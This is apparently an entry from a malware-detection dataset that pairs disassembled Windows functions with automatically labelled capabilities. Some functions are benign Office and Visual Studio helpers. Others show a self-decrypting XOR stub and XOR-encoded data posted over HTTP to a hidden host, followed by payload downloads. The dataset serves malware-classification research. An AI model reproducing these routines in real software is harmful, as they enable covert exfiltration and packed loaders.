joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003670
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10024cc1
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x100423ac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], 0
push dword [ebp + 0xc]
mov esi, dword [ebp + 8]
push esi
mov dword [ebp - 4], 0
call fcn.10003a00
mov edi, dword [ebp + 0x10]
mov ecx, str.http:__schemas.microsoft.com_office_2006_01_customui
cmp edi, 0xe
mov dword [ebp - 4], 0
mov eax, str.http:__schemas.microsoft.com_office_2009_07_customui
mov dword [ebp - 0x10], 1
cmovl eax, ecx
lea ecx, [ebp + 0xc]
push eax
call fcn.100027a0
push dword [ebp + 0xc]
mov ecx, esi
mov dword [ebp - 4], 1
push str._CustomUINamespace
call fcn.10004900
mov ecx, esi
push 0x10027494
cmp edi, 0xe
jl 0x10003711
push str._____IF_OFFICE14_
call fcn.10004900
push 0x10027494
push str.ENDIF_OFFICE14_____
jmp 0x10003725
push str._____IF_PRE_OFFICE14_
call fcn.10004900
push 0x10027494
push str.ENDIF_PRE_OFFICE14_____
mov ecx, esi
call fcn.10004900
push edi
push esi
call fcn.10004b60
push dword [esi]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov eax, dword [ebp + 0xc]
or ecx, 0xffffffff
mov byte [ebp - 4], 0
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x1000375a
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10003a00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10024d61
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x100423ac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
call fcn.10002330
mov ecx, eax
test ecx, ecx
jne 0x10003a49
push 0x80004005
call fcn.10002140
mov eax, dword [ecx]
call dword [eax + 0xc]
mov edi, dword [ebp + 8]
add eax, 0x10
mov dword [edi], eax
movzx eax, word [ebp + 0xc]
mov esi, dword [0x10043fb4]
push 0xa
push eax
push esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x10003ad2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push esi
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10003ad2
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
push eax
call fcn.100026c0
lea eax, [ebp + 0xc]
mov dword [ebp - 4], 1
push eax
mov ecx, edi
call fcn.100028d0
mov esi, dword [ebp + 0xc]
or eax, 0xffffffff
mov byte [ebp - 4], 0
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x10003ad2
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10004ea0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10004eb7
pop ebp
ret 0xc
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10004ef6
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x10004ef2
nop dword [eax]
cmp esi, edx
jae 0x10004ef6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x10004ee0
cmp esi, edx
jb 0x10004efd
xor eax, eax
pop esi
pop ebp
ret 0xc
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret 0xc
Function at 0x1000b440
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push ebx
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftVisualStudio15.0TeamFoundationOfficeIntegrationTest
push reloc.OLEAUT32.dll_SysReAllocString
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000b4b1
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], 4
push eax
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000b4b1
cmp dword [ebp - 4], 4
jne 0x1000b4a8
cmp dword [ebp - 8], 1
jne 0x1000b4a8
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10012bb0
Capabilities:
Identify system language via api
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100423ac]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x24], eax
xor edi, edi
mov eax, dword [ebp + 0xc]
mov ebx, ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
push 0x20019
push edi
push str.SoftwareMicrosoftVisualStudio15.0General
push SysReAllocStringLen
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 0x14], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10012c46
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 4
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], 4
push eax
lea eax, [ebp - 0x20]
push eax
push edi
push 0x100365bc
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x10012c46
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xfffffffd
jne 0x10012c4e
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx ecx, ax
jmp 0x10012c4b
mov ecx, 0xfffffffe
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x24]
xor esi, esi
mov dword [ebp - 0xc], ecx
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 8], eax
mov eax, dword [ebp + esi*4 - 0x10]
mov dword [ebp - 0x14], eax
cmp eax, 0x409
je 0x10012c9b
cmp eax, 0xfffffffe
je 0x10012c8b
test eax, eax
je 0x10012c8b
lea eax, [ebp - 0x14]
mov ecx, ebx
push eax
call fcn.10012ce0
mov edi, eax
test edi, edi
jne 0x10012c93
inc esi
cmp esi, 3
jl 0x10012c63
jmp 0x10012ca5
mov eax, dword [ebp - 0x14]
mov dword [ebx + 0x34], eax
jmp 0x10012ca5
mov edi, dword [ebx + 0x2c]
mov dword [ebx + 0x34], 0x409
test edi, edi
jne 0x10012cc6
mov eax, dword [ebx + 0x2c]
pop edi
pop esi
mov dword [ebx + 0x34], 0x409
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10014260
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10014260
mov esp, ebp
pop ebp
ret 8

Function at 0x100133c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call fcn.10013350
test eax, eax
jne 0x1001341f
cmp dword [ebp - 4], esi
jne 0x100133e7
push 2
pop eax
jmp 0x1001341f
lea eax, [ebp + 8]
mov dword [ebp + 0xc], esi
push eax
push dword [ebp + 0x14]
lea eax, [ebp + 0xc]
mov dword [ebp + 8], 4
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp + 0xc], 4
je 0x1001341d
push 0xd
pop esi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1001343d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa20
mov eax, dword [0x100423ac]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x100135f6
cmp dword [0x100441e4], 0
jne 0x100135f6
push edi
push dword [ebp + 0x10]
push esi
call fcn.10013299
test al, al
je 0x1001349b
push dword [0x1004237c]
lea eax, [ebp - 0x214]
push 0x104
push eax
call fcn.10013607
test eax, eax
js 0x100135f5
jmp 0x1001353e
cmp byte [ebp + 0x18], 0
je 0x100135f5
mov edi, 0x104
lea eax, [ebp - 0x61c]
push edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
js 0x100135f5
lea ecx, [edi - 4]
push ecx
lea eax, [ebp - 0x81c]
push eax
push ecx
lea eax, [ebp - 0xa1c]
push eax
push ecx
lea eax, [ebp - 0x414]
push eax
push 3
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x61c]
push eax
call fcn.1001a3ee
add esp, 0x24
test eax, eax
jne 0x100135f5
push str..dll
push dword [0x10042380]
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x214]
push edi
push eax
call fcn.1001a1b0
add esp, 0x18
test eax, eax
jne 0x100135f5
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100135f5
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x100135f5
push eax
call fcn.10013144
mov eax, dword [0x100441e0]
test eax, eax
je 0x10013565
push esi
call eax
cmp dword [0x100441d4], 0
je 0x100135b6
cmp dword [0x100441d0], 0
je 0x100135b6
cmp dword [0x100441cc], 0
je 0x10013598
push dword [0x10042374]
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push dword [ebp + 8]
call dword [0x100441cc]
jmp 0x100135b6
cmp dword [0x100441c8], 0
je 0x100135b6
push dword [0x10042374]
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push dword [ebp + 8]
call dword [0x100441c8]
and dword [ebp - 0xa20], 0
lea eax, [ebp - 0xa20]
push eax
push str.AutoStartupLoggingEndMarker
push esi
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.100133c0
neg eax
sbb eax, eax
not eax
and eax, dword [ebp - 0xa20]
mov dword [ebp - 0xa20], eax
jne 0x100135eb
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x100135f5
push eax
call fcn.10013211
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10014260
mov esp, ebp
pop ebp
ret 0x14
Function at 0x10018daf
Capabilities:
Terminate process

Disassembly:
sub esp, 0x54
push ebx
push ebp
push esi
push edi
push dword [0x10042c00]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push dword [0x10042bf8]
mov ebp, eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x7530
call eax
push dword [0x10042bec]
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [0x10042bec]
mov esi, eax
push esi
call fcn.10018d7d
pop ecx
pop ecx
push 0x104
push esi
push dword [0x10042bfc]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [str.VCDDaemon.exe]
mov ecx, edi
cmp word [esi], di
je 0x10018e24
inc ecx
cmp word [esi + ecx*2], di
jne 0x10018e1d
push 0x5c
pop edx
jmp 0x10018e30
xor eax, eax
mov word [esi + ecx*2], ax
dec ecx
cmp word [esi + ecx*2 - 2], dx
jne 0x10018e29
movzx eax, word [ebx]
mov edx, edi
mov edi, eax
test ax, ax
je 0x10018e56
lea eax, [esi + ecx*2]
inc edx
mov word [eax], di
lea eax, [eax + 2]
movzx edi, word [ebx + edx*2]
test di, di
jne 0x10018e46
lea eax, [esp + 0x20]
push 0x44
push eax
call fcn.10018d7d
lea eax, [esp + 0x18]
push 0x10
push eax
call fcn.10018d7d
add esp, 0x10
push dword [0x10042be0]
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x10]
xor ebx, ebx
push ecx
lea ecx, [esp + 0x24]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
call eax
push ebx
push 0xffffffffffffffff
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
fcomp qword [ebx]
push 0x2abacb3f
aas
add dword [ecx], esi
push edi
xor dword [ecx + edi*4], 0xaeca7e23
mov ebx, 0xd6544000
aam 0x63
scasb al, byte es:[edi]
ror dword [ecx], 0xf6
pop ebp
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
mov ebp, 0xd4c5f8b4
xor byte [edi - 0x40], bh
xor eax, 0x77d2ee39
push ecx
push esp
fmul qword ss:[ebx]
cmp byte [esi], 0xcb
add esi, edx
inc esp
mov dword [edi + 0x613479c1], ebp
jge 0x4153c1
mov ss, word [ebp + 0xe]
xor dword [ecx + ebp*8], 0x7e
mov al, 0x75
push ecx
salc
nop
retf
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
xor ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
or eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
or eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
or eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x7670700a
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x56eb639d
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Check os version

Disassembly:
sub esp, 0xa0
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x9c], eax
push 0x98
lea eax, [esp + 8]
push 0
push eax
call fcn.00406b00
sub esp, 0xfffffff4
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
or eax, eax
jne 0x401053
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
sub esp, 0xffffff60
ret
mov eax, dword [esp + 4]
cmp eax, 6
jne 0x4010e1
mov eax, dword [esp + 8]
test eax, eax
jne 0x40108c
cmp byte [esp + 0x9a], 1
setne al
lea eax, [eax + eax + 4]
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 1
jne 0x4010b7
xor eax, eax
cmp byte [esp + 0x9a], 1
setne al
lea eax, [eax + eax + 5]
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
sub esp, 0xffffff60
ret
cmp eax, 2
jne 0x401131
xor eax, eax
cmp byte [esp + 0x9a], 1
setne al
sub eax, 0xfffffff8
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 5
jne 0x401131
mov eax, dword [esp + 8]
cmp eax, 2
jne 0x401109
mov eax, 3
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
sub esp, 0xffffff60
ret
cmp eax, 1
jne 0x401128
mov eax, 2
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
test eax, eax
jne 0x401131
mov eax, 1
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
sub esp, 0xffffff60
ret

Function at 0x401170
Capabilities:
Get disk information

Disassembly:
add esp, 0xfffff7f0
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x80c], eax
push ebx
xor ebx, ebx
push 0x3ff
lea eax, [esp + 0x415]
push ebx
push eax
mov byte [esp + 0x41c], bl
call fcn.00406b00
push 0x3ff
lea ecx, [esp + 0x21]
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x28], bl
call fcn.00406b00
add esp, 0x18
push 0x400
lea ebx, [esp + 0x14]
push ebx
lea ebx, [esp + 0x14]
push ebx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
push 0x400
lea eax, [esp + 0x428]
push eax
push 0x410470
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [esp + 0x810]
neg eax
sbb eax, eax
and eax, dword [esp + 4]
pop ebx
xor ecx, esp
call fcn.004033e4
add esp, 0x810
ret
Function at 0x4018e0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
sub esp, 8
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
push esi
mov esi, ecx
push edi
push 0xfa
mov dword [esp + 0x14], eax
call fcn.00403aef
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x401a54
push 0xfa
push 0
push ebx
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebp
push esi
push 0x414560
push ebx
call fcn.004033f3
mov edi, dword [esp + 0x34]
add edi, 0x18
push edi
call fcn.00403aef
mov esi, eax
add esp, 0x18
test esi, esi
je 0x401a45
mov dword [esi], ebp
mov dword [esi + 4], edi
mov ecx, dword [0x414764]
mov dword [esi + 8], ecx
mov eax, dword [0x414768]
lea ecx, [esi + 0x18]
mov dword [esi + 0xc], eax
mov edx, dword [esp + 0x20]
mov eax, dword [0x41476c]
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x10]
mov ebp, dword [0x414770]
push edx
mov dword [esi + 0x14], ebp
push eax
push ecx
call fcn.004090e0
add esp, 0xc
xor ecx, ecx
test edi, edi
jle 0x4019b5
lea esp, [esp]
mov al, byte [ecx + esi]
test al, al
je 0x4019b0
cmp al, 0x59
je 0x4019b0
xor al, 0x59
mov byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x4019a0
mov edx, dword [str.___x9:7__9_3x59_]
mov eax, dword [0x414798]
push 0
push 0
push 3
push 0
push 0
push 0x50
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
mov dword [esp + 0x10], eax
je 0x401a45
push 0
push 0x100
push 0
push 0
push str.HTTP_1.1
push ebx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x401a49
push edi
push esi
push 0
push 0
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x401a49
push ebx
call fcn.00403a12
push esi
call fcn.00403a12
mov ecx, dword [esp + 0x18]
add esp, 8
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ecx
call edi
push ebp
call edi
pop edi
pop esi
mov al, 1
pop ebp
pop ebx
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.004033e4
add esp, 8
ret
mov ebp, dword [esp + 0x10]
push ebx
call fcn.00403a12
add esp, 4
jmp 0x401a5c
mov esi, dword [esp + 0x10]
mov ebp, dword [esp + 0x10]
test esi, esi
je 0x401a69
push esi
call fcn.00403a12
add esp, 4
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401a7a
push eax
call ebx
test ebp, ebp
je 0x401a81
push ebp
call ebx
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 8
ret
Function at 0x401aa0
Capabilities:
Read data from internet
Receive data

Disassembly:
add esp, 0xfffffecc
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x130], eax
push esi
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414660
push ecx
call fcn.004033f3
mov eax, dword [0x414798]
add esp, 0xc
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x401b5a
mov edx, dword [0x41479c]
push ebx
lea ecx, [esp + 8]
push ecx
push 0xb00000
push edx
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
or eax, eax
push esi
setne bl
call dword [sym.imp.WININET.dll_InternetCloseHandle]
or bl, bl
pop ebx
je 0x401b5a
cmp dword [esp + 4], 0
je 0x401b5a
mov al, 1
pop esi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffffecc
ret
mov ecx, dword [esp + 0x134]
pop esi
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 0x134
ret

Function at 0x401b80
Capabilities:
Read data from internet
Receive data

Disassembly:
mov eax, dword [0x412008]
add esp, 0xfffffecc
xor eax, esp
mov dword [esp + 0x130], eax
push edi
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414460
push ecx
call fcn.004033f3
add esp, 0xc
mov eax, dword [0x414798]
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x401bff
pop edi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
push esi
mov esi, dword [0x41479c]
push 0xb00000
push 0
push esi
call fcn.00406b00
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0xb00000
push esi
push edi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401c3c
mov eax, dword [esp + 8]
test eax, eax
jne 0x401c6d
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 8]
or eax, eax
je 0x401c54
push eax
call fcn.00403a12
sub esp, 0xfffffffc
pop esi
pop edi
mov ecx, dword [esp + 0x130]
xor eax, eax
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffffecc
ret
push ebp
push eax
call fcn.00403aef
mov ebp, eax
mov esi, dword [esp + 0x10]
mov edx, dword [0x41479c]
push esi
push edx
push ebp
call fcn.004090e0
add esp, 0x10
mov edx, ebp
call fcn.004018c0
push edi
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00401aa0
mov eax, ebp
mov ecx, dword [esp + 0x13c]
pop ebp
pop esi
pop edi
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret